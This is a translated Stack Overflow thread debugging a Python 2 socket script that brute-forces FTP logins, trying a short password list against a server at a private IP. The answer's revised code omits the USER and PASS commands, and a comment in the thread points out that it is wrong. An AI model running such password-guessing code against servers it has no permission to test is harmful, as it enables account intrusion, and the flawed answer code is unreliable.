Python ftp未发送密码
我正在使用python制作FTP暴力程序,但在发送密码时遇到了问题。s.send正确地发送用户名,但是它失败了,没有发送密码,只是退出了。我需要它输入用户名的帐户,然后输入密码,然后检查它的代码尝试是=230。我在linux上运行python,而不是python3,在filezilla上运行我的文件ftp服务器,我可以使用我的机器连接到服务器Python ftp未发送密码,python,python-2.7,ftp,filezilla,Python,Python 2.7,Ftp,Filezilla,我正在使用python制作FTP暴力程序,但在发送密码时遇到了问题。s.send正确地发送用户名,但是它失败了,没有发送密码,只是退出了。我需要它输入用户名的帐户,然后输入密码,然后检查它的代码尝试是=230。我在linux上运行python,而不是python3,在filezilla上运行我的文件ftp服务器,我可以使用我的机器连接到服务器 import socket import re import sys def connect(username, password): s
import socket
import re
import sys
def connect(username, password):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "Trying to" + username + ":" + password
s.connect(('192.168.2.237', 21))
data = s.recv(1024)
s.send('USER ' + username + '\r\n')
data = s.recv(1024)
s.send('PASS ' + password + '\r\n')
data = s.recv (3)
s.send('QUIT\r\n')
s.close()
return data
username = "admin"
passwords =["none", "test", "none"]
for password in passwords:
attempt = connect(username, password)
if attempt=="230":
print "Password found: " + password
sys.exit(0)
有一些可用于FTP的库,您可以轻松地使用它们。如果您仍然想通过套接字模块实现它,请尝试下面的方法。您没有正确传递用户名和密码
import socket
import re
import sys
def connect(username, password):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "Trying to " + username + ":" + password
s.connect(('10.2.16.15', 21))
data = s.recv(1024)
s.send(username + '\r\n')
data = s.recv(1024)
s.send( password + '\r\n')
data = s.recv (3)
print data
s.send('QUIT\r\n')
s.close()
return data
username = "root"
passwords =["lade", "whopee", "oho"]
for password in passwords:
attempt = connect(username, password)
if attempt=="230":
print "Password found: " + password
sys.exit(0)
输出
Trying to root:lade
530
Trying to root:whopee
530
Trying to root:oho
530
data=s.recv(1024)s.send('USER'+username+'\r\n')data=s.recv(1024)s.send('PASS'+password+'\r\n')
为什么要发送USER,PASS?您应该send s.send(username+'\r\n')、s.send('PASS'+password+'\r\n')
使用Python 2.7.14,您的代码对我来说很好。是的,我修复了它,我的FTPOk有问题,我让它将密码输入ftp,谢谢。但当输入正确的密码时,它只显示530,这是登录错误或密码不正确,但当我输入正确的密码时,它也会打印530,但它应该打印230。实际上,OP使用USER
和PASS
FTP命令正确发送用户名和密码。你的代码错了。@MartinPrikryl:是的,我的错。OP代码在Python2.7.4中工作